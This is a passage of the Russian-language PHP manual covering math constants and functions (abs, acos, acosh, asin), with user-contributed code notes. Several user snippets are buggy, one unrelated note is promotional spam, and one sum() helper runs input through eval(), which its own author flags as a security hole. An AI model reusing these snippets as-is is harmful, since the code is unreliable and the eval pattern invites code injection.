M_LN10 | 2.30258509299404568402 | ln 10 |
M_PI_2 | 1.57079632679489661923 | Пи/2 |
M_PI_4 | 0.78539816339744830962 | Пи/4 |
M_1_PI | 0.31830988618379067154 | 1/Пи |
M_2_PI | 0.63661977236758134308 | 2/Пи |
M_SQRTPI | 1.77245385090551602729 | sqrt(Пи) | PHP 5.2.0
M_2_SQRTPI | 1.12837916709551257390 | 2/sqrt(Пи) |
M_SQRT2 | 1.41421356237309504880 | sqrt(2) |
M_SQRT3 | 1.73205080756887729352 | sqrt(3) |
M_SQRT1_2 | 0.70710678118654752440 | 1/sqrt(2) |
M_LNPI | 1.14472988584940017414 | Натуральный логарифм числа пи |
M_EULER | 0.57721566490153286061 | Постоянная Эйлера |
PHP_ROUND_HALF_UP | 1 | Округление к большему целому |
PHP_ROUND_HALF_DOWN | 2 | Округление к меньшему целому |
PHP_ROUND_HALF_EVEN | 3 | Округление к чётному числу |
PHP_ROUND_HALF_ODD | 4 | Округление к нечётному числу |
NAN | NAN (тип float) | Не является числом (Not A Number) |
INF | INF (тип float) | Бесконечность |

User Contributed Notes

br at ndon dot co 25-Oct-2021 09:20
The constants

PHP_ROUND_HALF_UP
PHP_ROUND_HALF_DOWN
PHP_ROUND_HALF_EVEN
PHP_ROUND_HALF_ODD

are constants intended to be used as the 3rd parameter in the math function round()

https://www.php.net/manual/en/function.round
Kira-Bianca dot Hinz at web dot de 01-Apr-2020 04:51
Caution when using variables with the value NAN (or directly NAN, which would not be logical) if the value is converted in any form (integer, string or other non-float format)!
In that case, NAN is converted to 0. (e.g. as an index in an array, argument of a method that takes it as a non-float parameter, etc.). This bug has been reported several times, but is still present in the current version PHP 7.3.15.

Example 1:
$array = [0 =>  'zero', 1 => 'one', 2 => 'two'];
$index = NAN;
echo $array[$index]; // echo 'zero' and not as axcepted throws an exception or at least a warning 'undefined offset NAN ...'

Example 2:
function f((int) $p) { return $p; }
echo f(NAN); // echo 0 because the argument (NAN) has been converted to integer (0)

It would have to be checked in both cases explicitly for is_nan():
1: if(is_nan($index)){
      <throw Exception>
   }else{
      echo $array[$index];
   };

2: function f($p){ // without converting!!!
      if(is_nan($p)){
         <throw Exception>
      }else{
         return (int)$p; // actually a correct conversion  to Integer would have to be checked because the parser does not check this here.
      };
   }
Hayley Watson 16-Aug-2017 12:11
From PHP 7.2.0, the PHP_FLOAT_* constants are provided to describe the properties of floating point numbers that can be stored; PHP_FLOAT_MAX, for example, is analogous to PHP_INT_MAX and represents the largest possible floating-point number.
steve at websmithery dot co dot uk 12-Jun-2017 11:02
Another observation on INF.

Division by zero results in INF:

<?php
var_dump(1/0); // float(INF)
?>

BUT a 'Division by zero' warning is issued.
pemapmodder1970 at gmail dot com 23-Jun-2016 03:33
Although INF can be used for comparison against normal numbers and as a directed number, and behaves as reciprocal of zero, it is not like limit INF tends to infinity. These operations do not work:

<?php
var_dump(INF / INF); // float(NAN)
var_dump(INF - INF); // float(NAN)
?>

However, it works with arc-tangent:
<?php
var_dump(atan(INF) / M_PI); // float(0.5)
var_dump(atan2(INF, INF) / M_PI); // float(0.25)
var_dump(atan2(1, INF) / M_PI); // float(0)
?>
md2perpe at gmail dot com 29-Sep-2015 02:43
I just learnt of INF today and found out that it can be used in comparisons:

    echo 5000 < INF ? 'yes' : 'no';       // outputs 'yes'
    echo INF < INF ? 'yes' : 'no';        // outputs 'no'
    echo INF <= INF ? 'yes' : 'no';       // outputs 'yes'
    echo INF == INF ? 'yes' : 'no';       // outputs 'yes'

You can also take its negative:

    echo -INF < -5000 ? 'yes' : 'no';    // outputs 'yes'

Division by INF is allowed:

    echo 1/INF;    // outputs '0'
Hayley Watson 22-Mar-2012 12:20
There are also the predefined PHP_INT_MAX and PHP_INT_SIZE constants, that describe the range of possible integer values.


Математические функции

Содержание

  • abs — Абсолютное значение (модуль числа)
  • acos — Вычисляет арккосинус
  • acosh — Гиперболический арккосинус
  • asin — Вычисляет арксинус
  • asinh — Гиперболический арксинус
  • atan2 — Арктангенс двух переменных
  • atan — Вычисляет арктангенс
  • atanh — Вычисляет гиперболический арктангенс
  • base_convert — Преобразование числа между произвольными системами счисления
  • bindec — Двоичное в десятичное
  • ceil — Округляет дробь в большую сторону
  • cos — Косинус
  • cosh — Гиперболический косинус
  • decbin — Переводит число из десятичной системы счисления в двоичную
  • dechex — Переводит число из десятичной системы счисления в шестнадцатеричную
  • decoct — Переводит число из десятичной системы счисления в восьмеричную
  • deg2rad — Преобразует значение из градусов в радианы
  • exp — Вычисляет степень числа e
  • expm1 — Возвращает exp($num) - 1, рассчитанное таким образом, что результат точен, даже если значение number близко к нулю.
  • fdiv — Делит одно число на другое в соответствии с IEEE 754
  • floor — Округляет дробь в меньшую сторону
  • fmod — Возвращает дробный остаток от деления по модулю
  • hexdec — Переводит число из шестнадцатеричной системы счисления в десятичную
  • hypot — Рассчитывает длину гипотенузы прямоугольного треугольника
  • intdiv — Целочисленное деление
  • is_finite — Проверяет, является ли число с плавающей точкой допустимым конечным числом
  • is_infinite — Проверяет, является ли число с плавающей точкой бесконечным
  • is_nan — Проверяет, является ли число с плавающей точкой нечислом
  • log10 — Десятичный логарифм
  • log1p — Возвращает log(1 + number), рассчитанный так, что результат точен, даже если значение number близко к нулю
  • log — Натуральный логарифм
  • max — Возвращает наибольшее значение
  • min — Находит наименьшее значение
  • octdec — Переводит число из восьмеричной системы счисления в десятичную
  • pi — Возвращает число Пи
  • pow — Возведение в степень
  • rad2deg — Преобразует значение из радианов в градусы
  • round — Округляет число типа float
  • sin — Синус
  • sinh — Гиперболический синус
  • sqrt — Извлекает квадратный корень
  • tan — Тангенс
  • tanh — Гиперболический тангенс

User Contributed Notes

pradhumansaini2 at gmail dot com 06-Mar-2021 06:17
Ajay Singh Deol is commonly known as Sunny Deol which is a famous Indian Television actor and a Politician as well. Want to know about the info then you can check it in your browser such as Sunny Deol age where you can get about his complete information.
For your information, Sunny Deol is the person who won the Filmfare award for the best actor
Anonymous 02-Feb-2018 06:44
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
exmple:https://vb.3dlat.com/
Aiden880 28-Mar-2015 01:47
Lowest Common Denominator:
function lcd($num, $start) {
    while($num % $start != 0) {
        $start++;
    }
    return $start;
}
capripot at gmail dot com 18-Jul-2012 09:48
Another simpler function to check a number with the luhn algorithm :

<?php
function luhn($num){
    if(!$num)
        return false;
    $num = array_reverse(str_split($num));
    $add = 0;
    foreach($num as $k => $v){
        if($k%2)
            $v = $v*2;
        $add += ($v >= 10 ? $v - 9 : $v);
    }
    return ($add%10 == 0);
}
?>

Don't know if foreach and arrays operations are faster than while and substr, but I feel it clearer.
AsherMaximum gmail 18-Apr-2011 09:40
Here's a simple way way to convert a number to an ordinal number I created:

$i == the number to convert. Put this inside a for loop if you need to populate an array.

<?php
// change increment variable to ordinal number.
$n1 = $i % 100; //first remove all but the last two digits

$n2 = ($n1 < 20 ? $1 : $i % 10; //remove all but last digit unless the number is in the teens, which all should be 'th'

//$n is now used to determine the suffix.
$ord = ($n2==1 ? $i.'st' : ( ($n2==2 ? $i.'nd' : ($n2==3 ? $i.'rd' : $i.'th') ) ) )
?>
php at keith tyler dot com 04-Nov-2010 11:09
Another ordinal method, which does not involve utilizing date functions:

<?php
sprintf( "%d%s", $t, array_pop( array_slice( array_merge( array( "th","st","nd","rd"), array_fill( 4,6,"th")), $t%10, 1)));'
?>
lummox 02-Feb-2008 07:24
Wouldn't the following function do the same but a lot easier than the one in the comment before?

function trimInteger($targetNumber,$newLength) {
    return $targetNumber%pow(10,$newLength);
}
Mike 09-Jan-2008 07:23
//had a mistake in last post, heres the corrected version

/*
Just a simple function to trim digits from the left side of an integer. TRIM DOWN TO 4-> (ie. 987654 => 7654)
*/

function trimInteger($targetNumber,$newLength) {

    $digits = pow(10,$newLength);

    $s = ($targetNumber/ $digits); //make the last X digits the                  decimal part

    $t = floor($targetNumber / $digits); //drop the last X digits (the decimal part)

    $h = $s - $t; //remove all  but the decimal part

    $newInteger = ($h*$digits); //make the everything after the decimal point the new number

    return $newInteger;
}
barry at megaspace dot com 02-Dec-2006 09:14
Here's a least common denominator (lcd) function:

$array = array(3,4,6,8,18,2);

    function lcd($array,$x) {

        $mod_sum = 0;

        for($int=1;$int < count($array);$int++) {
            $modulus[$int] = ($array[0]*$x) % ($array[$int]);
            $mod_sum = $mod_sum + $modulus[$int];
        }

        if (!$mod_sum) {
            echo "LCD: ".($array[0]*$x)."\n";
        }

        else {
            lcd($array,$x+1);
        }

    }

lcd($array,1);
tembenite at gmail dot com 06-Nov-2006 01:36
To add to what Cornelius had, I have written a function that will take an array of numbers and return the least common multiple of them:

function lcm_arr($items){
    //Input: An Array of numbers
    //Output: The LCM of the numbers
    while(2 <= count($items)){
        array_push($items, lcm(array_shift($items), array_shift($items)));
    }
    return reset($items);
}

//His Code below with $'s added for vars

function gcd($n, $m) {
   $n=abs($n); $m=abs($m);
   if ($n==0 and $m==0)
       return 1; //avoid infinite recursion
   if ($n==$m and $n>=1)
       return $n;
   return $m<$n?gcd($n-$m,$n):gcd($n,$m-$n);
}

function lcm($n, $m) {
   return $m * ($n/gcd($n,$m));
}
edward at edwardsun dot com 19-Jul-2006 06:24
well just a note.. maybe i'm a bit stupid.. but remember to use pow() rather than the "^" sign for exponents.. as it took me 5 minutes to figure out why it wasn't working.
marasek.SPAMLESS at telton.de 08-Jun-2006 05:23
I could not resist to do a simpler version of the ordinal function:
<?php
function ordinal($num)
{
    $num = (int)$num;
    $digit = substr($num, -1, 1);
    $ord = "th";
    switch($digit)
    {
        case 1: $ord = "st"; break;
        case 2: $ord = "nd"; break;
        case 3: $ord = "rd"; break;
    break;
    }
return $num.$ord;
}
?>
One could replace the typecast with

<?php
if($num===NULL or $num==="")
{return NULL;}
?>

to get an empty result instead of "0th" in case $num is empty too.
moikboy (nospam!) moikboy (nospam!) hu 10-May-2006 01:15
I think, this is the optimal code for calculating factorials:

<?php
function fact($int){
    if($int<2)return 1;
    for($f=2;$int-1>1;$f*=$int--);
    return $f;
};
?>

And another one for calculating the $int-th Fibonacci-number:

<?php
function fib($int){
    static $fibTable=array();
    return empty($fibTable[$int])?$fibTable[$int] = $int>1?fib($int-2)+fib($int-1):1:$fibTable[$int];
};
?>
Florian 03-Mar-2006 01:36
A function that simulates the sum operator. (http://en.wikipedia.org/wiki/Sum). Be careful with the expression because it may cause a security hole; note the single quotes to don't parse the "$".
<?php
# @param    string    $expr    expression to evaluate (for example (2*$x)^2+1)
# @param    string    $var      dummy variable (for example "x")
# @param    integer    $start
# @param    integer    $end
# @param    integer    $step

function sum($expr,$var,$start,$end,$step = 1) {
    $expr = str_replace(';','',$expr);
    $var = str_replace('$','',$var);
    $start = (int)$start;    $end = (int)$end;    $step = (int)$step;    $sum = 0;

    for ($i = $start; $i <= $end; $i = $i + $step) {
        $_expr = str_replace('$'.$var,$i,$expr);
        $_eval = '$_result = '.$_expr.'; return $_result;';
        $_result = eval($_eval);
        if($result === FALSE) return "SYNTAX ERROR : $expr";
        $sum += $_result;
    }
    return (int)$sum;
}
?>
peter-stangl at t-online dot de 01-Feb-2006 03:16
I needed to approximate an integral because i was not able to calculate it, so i wrote this function. It approximates an integral with the composite Simpson's rule.
More information on Simpson's rule: http://en.wikipedia.org/wiki/Simpson%27s_rule

<?php

function simpsonf($x){
// returns f(x) for integral approximation with composite Simpson's rule
   return(pow((1+pow($x, (-4))), 0.5));
}
function simpsonsrule($a, $b, $n){
// approximates integral_a_b f(x) dx with composite Simpson's rule with $n intervals
// $n has to be an even number
// f(x) is defined in "function simpsonf($x)"
   if($n%2==0){
      $h=($b-$a)/$n;
      $S=simpsonf($a)+simpsonf($b);
      $i=1;
      while($i <= ($n-1)){
         $xi=$a+$h*$i;
         if($i%2==0){
            $S=$S+2*simpsonf($xi);
         }
         else{
            $S=$S+4*simpsonf($xi);
         }
         $i++;
      }
      return($h/3*$S);
      }
   else{
      return('$n has to be an even number');
   }
}

?>
daniel at g-loc dot org 01-Dec-2005 10:01
If you're an aviator and needs to calculate windcorrection angles and groundspeed (e.g. during flightplanning) this can be very useful.

$windcorrection = rad2deg(asin((($windspeed * (sin(deg2rad($tt - ($winddirection-180))))/$tas))));
$groundspeed = $tas*cos(deg2rad($windcorrection)) + $windspeed*cos(deg2rad($tt-($winddirection-180)));

You can probably write these lines more beautiful, but they work!
monte at ohrt dot com 18-Oct-2005 06:37
This is an efficient method of calculating the binomial coefficient C(n,k). This code was derived from Owant: Mastering Algorithms with Perl.

<?php
   // calculate binomial coefficient
   function binomial_coeff($n, $k) {

      $j = $res = 1;

      if($k < 0 || $k > $n)
         return 0;
      if(($n - $k) < $k)
         $k = $n - $k;

      while($j <= $k) {
         $res *= $n--;
         $res /= $j++;
      }

      return $res;

   }
?>

If you compiled php with --enable-bcmath, you can get full integer values of extremely large numbers by replacing:

$res *= $n--;
$res /= $j++;

with:

$res = bcmul($res, $n--);
$res = bcdiv($res, $j++);
bjcffnet at gmail dot com 26-Jul-2005 04:57
thearbitcouncil at gmail dot com, you could just use array_sum():
<?php
function average($arr)
{
   if (!is_array($arr)) return false;

   return array_sum($arr)/count($arr);
}

$array = array(5, 10, 15);
echo average($array); // 10
?>
tmpa at yahoo dot com 19-Feb-2005 12:42
while joogat's one line function is short, it is probably better to calculate factorial iteratively instead of recursively. keep in mind if you want large factorials, you'll need to use some sort of arbitrary precision integer or perhaps the BCMath functions. then again, unless you're trying to do large numbers (170! is the highest that you can do that does not return infinity) you probably won't notice any time difference.
<?php
function factorial($in) {
    // 0! = 1! = 1
    $out = 1;

    // Only if $in is >= 2
    for ($i = 2; $i <= $in; $i++) {
        $out *= $i;
    }

    return $out;
}
?>
thearbitcouncil at gmail dot com 06-Jan-2005 02:32
Two functions I didn't find elsewhere... one to compute mean of an array of numbers, and another to computer variance of a sample of numbers. Both take an array of numbers as arguments. Not much error checking, or optimization...

(note: variance function uses the average function...)

<?php

function average($arr)
{
    if (!count($arr)) return 0;

    $sum = 0;
    for ($i = 0; $i < count($arr); $i++)
    {
        $sum += $arr[$i];
    }

    return $sum / count($arr);
}

function variance($arr)
{
    if (!count($arr)) return 0;

    $mean = average($arr);

    $sos = 0;    // Sum of squares
    for ($i = 0; $i < count($arr); $i++)
    {
        $sos += ($arr[$i] - $mean) * ($arr[$i] - $mean);
    }

    return $sos / (count($arr)-1);  // denominator = n-1; i.e. estimating based on sample
                                    // n-1 is also what MS Excel takes by default in the
                                    // VAR function
}

echo variance(array(4,6,23,15,18)); // echoes 64.7...correct value :)

?>
info at gavinvincent dot co dot uk 17-Nov-2004 04:34
If you need to deal with polar co-ordinates for somereason you will need to convert to and from x,y for input and output in most situations: here are some functions to convert cartesian to polar and polar to cartesian
<?
//returns array of r, theta in the range of 0-2*pi (in radians)
function rect2polar($x,$y)
{
     if(is_numeric($x)&&is_numeric($y))
    {
        $r=sqrt(pow($x,2)+pow($y,2));
        if($x==0)
        {
             if($y>0) $theta=pi()/2;
            else $theta=3*pi()/2;
        }
        else if($x<0) $theta=atan($y/$x)+pi();
        else if($y<0) $theta=atan($y/$x)+2*pi();
        else $theta=atan($y/$x);
        $polar=array("r"=>$r,"theta"=>$theta);
        return $polar;
    }
    else return false;
}

//r must be in radians, returns array of x,y
function polar2rect($r,$theta)
{
 if(is_numeric($r)&&is_numeric($theta))
 {
        $x=$r*cos($theta);
    $y=$r*sin($theta);
    $rect=array("x"=>$x,"y"=>$y);
 }
 else
 {
   return false;
 }
}
?>
help at gjbdesign dot com 25-Sep-2004 09:05
Occasionally a user must enter a number in a form. This function converts fractions to decimals and leaves decimals untouched. Of course, you may wish to round the final output, but that is not included here.

<?php
/*Some example values of $q
$q = "2.5";
$q = "2 1/2";
$q = "5/2";
*/
function Deci_Con($q){
//check for a space, signifying a whole number with a fraction
    if(strstr($q, ' ')){
        $wa = strrev($q);
        $wb = strrev(strstr($wa, ' '));
        $whole = true;//this is a whole number
    }
//now check the fraction part
    if(strstr($q, '/')){
        if($whole==true){//if whole number, then remove the whole number and space from the calculations
              $q = strstr($q, ' ');
        }
$b = str_replace("/","",strstr($q, '/'));//this is the divisor
//isolate the numerator
$c = strrev($q);
$d = strstr($c, '/');
$e = strrev($d);
$a = str_replace("/","",$e);//the pre-final numerator
        if($whole==true){//add the whole number to the calculations
            $a = $a+($wb*$b);//new numerator is whole number multiplied by denominator plus original numerator
        }
$q = $a/$b;//this is now your decimal
return $q;
    }else{
        return $q;//not a fraction, just return the decimal
    }
}?>
pat.mat AT sympatico DOT com 08-Jun-2004 07:36
For people interest in Differential Equations, I've done a function that receive a string like: x^2+x^3 and put it in
2x+3x^2 witch is the differantial of the previous equation.

In the code there is one thing missing: the $string{$i} is often going outOfBound (Uninitialized string offset: 6 in...)
if your error setting is set a little too high... I just dont know how to fix this.

So there is the code for differential equation with (+ and -) only:

<?
function differentiel($equa)
{
    $equa = strtolower($equa);
    echo "Equation de depart: ".$equa."<br>";
    $final = "";

    for($i = 0; $i < strlen($equa); $i++)
    {
        //Make a new string from the receive $equa
        if($equa{$i} == "x" && $equa{$i+1} == "^")
        {
            $final .= $equa{$i+2};
            $final .= "x^";
            $final .= $equa{$i+2}-1;
        }
        elseif($equa{$i} == "+" || $equa{$i} == "-")
        {
            $final .= $equa{$i};
        }
        elseif(is_numeric($equa{$i}) && $i == 0)
        {
            //gerer parenthese et autre terme generaux + gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif(is_numeric($equa{$i}) && $i > 0 && $equa{$i-1} != "^")
        {
            //gerer ^apres: 2^2
            $final .= $equa{$i}."*";
        }
        elseif($equa{$i} == "^")
        {
            continue;
        }
        elseif(is_numeric($equa{$i}) && $equa{$i-1} == "^")
        {
            continue;
        }
        else
        {
            if($equa{$i} == "x")
            {
                $final .= 1;
            }
            else
            {
                $final .= $equa{$i};
            }
        }
    }
    //
    //Manage multiplication add in the previous string $final
    //
    $finalMul = "";
    for($i = 0; $i < strlen($final); $i++)
    {
        if(is_numeric($final{$i}) && $final{$i+1} == "*" && is_numeric($final{$i+2}))
        {
            $finalMul .= $final{$i}*$final{$i+2};
        }
        elseif($final{$i} == "*")
        {
            continue;
        }
        elseif(is_numeric($final{$i}) && $final{$i+1} != "*" && $final{$i-1} == "*")
        {
            continue;
        }
        else
        {
            $finalMul .= $final{$i};
        }
    }
    echo "equa final: ".$finalMul;
}
?>

I know this is not optimal but i've done this quick :)
If you guys have any comment just email me.
I also want to do this fonction In C to add to phpCore maybe soon...
Patoff
florian at shellfire dot de 28-Apr-2004 02:48
Please note that shorter is not always better
(meaning that really short faculty implementation above).

In my opinion, a clearer way to code this is, including a check
for negative or non-integer values.

In order to calculate the faculty of a positive integer,
an iterative way (which might be harder to understand)
is usually a bit faster, but I am using it only for small
values so it is not really important to me:

<?php

    // Calculate the Faculty of a positive int-value
    function iFaculty($a_iFac)
    {
      if ($a_iFac > 0)
      {
          return $a_iFac * $this->iFaculty($a_iFac - 1);
      }
      elseif ($a_iFac == 0)
      {
          return 1;
      }
      else
      {
          return 0;  // Wrong argument!
      }
    }
?>

I've also written another function to calculate the
binomial coefficient of 2 values, I didn't find it anywhere yet so I hope it might help someone (works fine with the above stated faculty-function and ready to be used inside of your own classes!)

<?php

    // calculates the binomial coefficient "n over k" of 2 positive int values
    // for n >= k
    function iBinCoeff($a_iN, $a_iK)
    {
        // the binomial coefficient is defined as n! / [ (n-k)! * k! ]
        return $this->iFaculty($a_iN) / ($this->iFaculty($a_iN - $a_iK) * $this->iFaculty($a_iK));
    }

?>
Chronial "at" cyberpunkuniverse.de 13-Jan-2004 01:47
Here are are a nPr and a nPc function
(had to define NaN - don't know, how to this the "rigth" way)

<?php
define (NaN,acos(1.01));

function nCr($n,$r){
   if ($r > $n)
      return NaN;
   if (($n-$r) < $r)
      return nCr($n,($n-$r));
   $return = 1;
   for ($i=0;$i < $r;$i++){
      $return *= ($n-$i)/($i+1);
   }
   return $return;
}

function nPr($n,$r){
   if ($r > $n)
      return NaN;
   if ($r)
      return $n*(nPr($n-1,$r-1));
   else
      return 1;
}
?>
jl85 at yahoo dot com 05-Oct-2003 04:00
Here's yet another greatest common denominator (gcd) function, a reeeeally small one.

function gcd($n,$m){
if(!$m)return$n;return gcd($m,$n%$m);
}

It works by recursion. Not really sure about it's speed, but it's really small! This won't work on floating point numbers accurately though. If you want a floating point one, you need to have at least PHP 4, and the code would be

function gcd($n,$m){
if(!$m)return$n;return gcd($m,fmod($n,$m));
}
fabien_mornand at yahoo dot fr 30-Sep-2003 03:46
here is an algorithm to calculate gcd of a number. This is Euclid algorithm i was studying in Maths. I've converted it in php for the fun.

<?php
 if($a && $b)
  { $ax=$a; $bx=$b;
   $r=fmod($a,$b);
  if(!$r){$rx=$r;}
   while($r){
    $rx=$r;
    $a=$b;
    $b=$r;
    $r=fmod($a,$b);
    }
   }
echo 'PGCD ('.$ax.' , '.$bx.' ) = '.$rx;
?>
jordanolsommer at imap dot cc 27-Aug-2003 08:07
The reason the bitwise AND ("&") operator works to determine whether a number is odd or even is because odd numbers expressed in binary always have the rightmost (2^0) bit = 1 and even numbers always have the 2^0 bit = 0.

So if you do a " 1 & $num", it will return zero if the number is even (since xxxxxxx0 [the even number in binary] and 00000001 [the 1]) don't share any bits, and will return 1 if the number is odd (xxxxxx1 and 000001).

a clever way of doing things, but $num % 2 would work as well i think :).
jerry dot wilborn at fast dot net 16-Apr-2003 11:10
Here is how to calculate standard deviation in PHP where $samples is an array of incrementing numeric keys and the values are your samples:

$sample_count = count($samples);

for ($current_sample = 0; $sample_count > $current_sample; ++$current_sample) $sample_square[$current_sample] = pow($samples[$current_sample], 2);

$standard_deviation = sqrt(array_sum($sample_square) / $sample_count - pow((array_sum($samples) / $sample_count), 2));
jl85 at yahoo dot com 22-Feb-2003 08:04
Theres another faster way of doing even/odd number checking by using bitwise operators. Don't ask me how it works, I just found this out by experimenting with it (could the editor possibly explain?)

if ((1&$num)) {
 echo "$num is odd";
}

if (!(1&$num)) {
 echo "$num is even";
}

How it works is (1&$num) returns a 1 for odd numbers and returns 0 when it's an even number.
nazgul26 (at_sign) windfox dot net 08-Dec-2002 02:58
This code will convert a decimal to it's fraction equivalent. The precision can be set by changing PRECISION.

<?php
define(PRECISION, .01);

$count=0;
$result=array();
decimalToFraction($_REQUEST['dec'],$count,&$result);
$count = count($result);
$simp_fract = simplifyFraction($result,$count,1,$result[$count]);

echo $simpl_fract;

// Start of functions

/*
   Converts a decimal to unsimplified fraction represented in an array
*/
function decimalToFraction($decimal,$count,$result) {
    $a = (1/$decimal);
    $b = ( $a - floor($a)  );
    $count++;
    if ($b > .01 && $count <= 5) decimalToFraction($b,$count,&$result);
    $result[$count] = floor($a);
}

/*
    Simplifies a fraction in an array form that is returned from
    decimalToFraction
*/
function simplifyFraction($fraction,$count,$top,$bottom) {
    $next = $fraction[$count-1];
    $a = ($bottom * $next) + $top;
    $top = $bottom;
    $bottom = $a;
    $count--;
    if ($count > 0) simplifyFraction($fraction,$count,$top,$bottom);
    else {
        return "<font size=1>$bottom/$top</font>";
    }
}
?>
jbeardsl [found_at] gte [d0t] net 08-Nov-2002 01:15
I was looking for a truncate function. Not finding one, I wrote my own. Since it deals with everything as a number, I imagine it's faster than the alternative of using string functions. HTH...

<?php
function truncate ($num, $digits = 0) {

    //provide the real number, and the number of
    //digits right of the decimal you want to keep.

    $shift = pow(10, $digits);
    return ((floor($num * $shift)) / $shift);
}
?>
patience at worldonline dot nl 05-Aug-2002 09:08
The example for Factorials given above is wrong. Here a correct version, so that you do not have to reinvent the wheel again...

<?php
function mathFact( $s )
{
  $r = (int) $s;

  if ( $r < 2 )
    $r = 1;
  else {
    for ( $i = $r-1; $i > 1; $i-- )
      $r = $r * $i;
  }

  return( $r );
}
?>
webkid%webkid.com 31-May-2002 03:54
And the reason I needed a Factorial function is because I there were no nPr or nCr functions native to PHP, either.

function n_pick_r($n,$r){$n=(int)$n; $r=(int)$r;return (fact($n)/fact($n-$r));}
function n_choose_r($n,$r){$n=(int)$n; $r=(int)$r;return (n_pick_r($n,$r)/fact($r));}

Hope that helps someone!
ian at mp3 dot com 19-Feb-2001 03:43
for those looking for a credit card verification function i wrote a simple LUHN Formula algorithm:

<?php
$valid = 1;

$numOfDigits = 0 - strlen($ccNumber);

$i = -1;
while ($i>=$numOfDigits){
  if (($i % 2) == 0){
    $double = 2*(substr($ccNumber, $i, 1));
    $total += substr($double,0,1);
    if (strlen($double > 1)){
      $total += substr($double,1,1);
    }
  } else {
    $total += substr($ccNumber, $i, 1);
  }
  $i--;
}

if (($total % 10) != 0){
  $valid = 0;
}
?>


Абсолютное значение (модуль числа)

  • « Математические функции
  • acos »
  • PHP Manual
  • Математические функции
  • Абсолютное значение (модуль числа)

abs

(PHP 4, PHP 5, PHP 7, PHP 8)

abs — Абсолютное значение (модуль числа)

Описание

abs(int|float $num): int|float

Возвращает абсолютное значение num.

Список параметров

num

Числовое значение

Возвращаемые значения

Абсолютное значение num. Если тип аргумента num - float, то возвращаемый тип также float, иначе - int (тип float обычно имеет больший диапазон значений, чем тип int).

Список изменений

Версия | Описание
8.0.0 | num больше не принимает внутренние объекты, поддерживающие числовое преобразование.

Примеры

Пример #1 Пример использования abs()

<?php
var_dump(abs(-4.2));
var_dump(abs(5));
var_dump(abs(-5));
?>

Результат выполнения данного примера:

float(4.2)
int(5)
int(5)

Смотрите также

  • gmp_abs() - Абсолютная величина
  • gmp_sign() - Знак числа

User Contributed Notes

eep2004 at ukr dot net 03-Mar-2021 08:19
<?php
echo 'PHP '.PHP_VERSION.'<br>';

$qty = 1000;
$arr = array();
for ($i = 0; $i < $qty; $i++){
    $arr[] = rand(-100, 100);
}

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        $v = abs($v);
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        if ($v < 0) $v = abs($v);
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';

$start = microtime(true);
for ($i = 0; $i < $qty; $i++){
    foreach ($arr as $v){
        if ($v < 0) $v *= -1;
    }
}
echo number_format(microtime(true) - $start, 4).'<br>';
?>
Result:
PHP 7.1.33
0.0910
0.0710
0.0550

Conclusion: better to check before using the feature that the number is less than zero. Even better use multiplication by -1 than this function.


Вычисляет арккосинус

  • « abs
  • acosh »
  • PHP Manual
  • Математические функции
  • Вычисляет арккосинус

acos

(PHP 4, PHP 5, PHP 7, PHP 8)

acos — Вычисляет арккосинус

Описание

acos(float $num): float

Возвращает арккосинус аргумента num в радианах. Функция acos() — обратная тригонометрическая функция к функции cos(), то есть $num == cos(acos($num)) для каждого значения параметра num, входящего в область значений функции acos().

Список параметров

num

Аргумент для вычисления

Возвращаемые значения

Возвращает арккосинус числа num в радианах.

Смотрите также

  • cos() - Косинус
  • acosh() - Гиперболический арккосинус
  • asin() - Вычисляет арксинус
  • atan() - Вычисляет арктангенс

User Contributed Notes

rahmatjon at gmail dot com 13-Jan-2021 05:21
Hello!
There is no any example for acos() function. Please put this one below the acos() function's description.
Thank you!

Example:
<?php
    $arg=0.5;
    $val=acos($arg);
    echo "acos(" . $arg . ") = " . $val . " radians.<br/>";
    echo "Pi value = " . pi() . "<br/>";
    echo "acos(" . $arg . ") = " . $val/pi()*180 . " degrees<br/>";
?>


Гиперболический арккосинус

  • « acos
  • asin »
  • PHP Manual
  • Математические функции
  • Гиперболический арккосинус

acosh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

acosh — Гиперболический арккосинус

Описание

acosh(float $num): float

Возвращает гиперболический арккосинус num, то есть значение, чей гиперболический косинус равен num.

Список параметров

num

Входное значение

Возвращаемые значения

Гиперболический арккосинус num

Смотрите также

  • cosh() - Гиперболический косинус
  • acos() - Вычисляет арккосинус
  • asinh() - Гиперболический арксинус
  • atanh() - Вычисляет гиперболический арктангенс

User Contributed Notes

rahmatjon at gmail dot com 16-Jan-2021 02:35
Hello!
There is no any example for acosh() function. Please put this one below the acosh() function's description.
Thank you!

Example:
<?php
    $x = 1;
    $y1 = acosh($x);
    echo "PHP function acosh(). acosh(" . $x . ") = " . $y1 . ".<br/>";
    $y2 = log($x + sqrt($x*$x -1));
    echo "By definition of acosh. acosh(" . $x . ") = " . $y2 . ".<br/>";

    $x = 10;
    $y1 = acosh($x);
    echo "PHP function acosh(). acosh(" . $x . ") = " . $y1 . ".<br/>";
    $y2 = log($x + sqrt($x*$x -1));
    echo "By definition of acosh. acosh(" . $x . ") = " . $y2 . ".<br/>";
?>


Вычисляет арксинус

  • « acosh
  • asinh »
  • PHP Manual
  • Математические функции
  • Вычисляет арксинус

asin

(PHP 4, PHP 5, PHP 7, PHP 8)

asin — Вычисляет арксинус

Описание

asin(float $num): float

Возвращает арксинус аргумента num в радианах. Функция asin() — обратная тригонометрическая функция к функции sin(), то есть $num == sin(asin($num)) для каждого значения параметр num, входящего в область значений функции asin().

Список параметров

num

Аргумент для вычисления

Возвращаемые значения

Возвращает арксинус числа num в радианах.

Смотрите также

  • sin() - Синус
  • asinh() - Гиперболический арксинус
  • acos() - Вычисляет арккосинус
  • atan() - Вычисляет арктангенс

User Contributed Notes

rahmatjon at gmail dot com 16-Jan-2021 03:17
Hello!
Please put this example below the asin() function's description.
Thank you!

Example:
<?php
    $arg = 0.5;
    $val = asin($arg);
    echo "asin(" . $arg . ") = " . $val . " radians.<br/>";
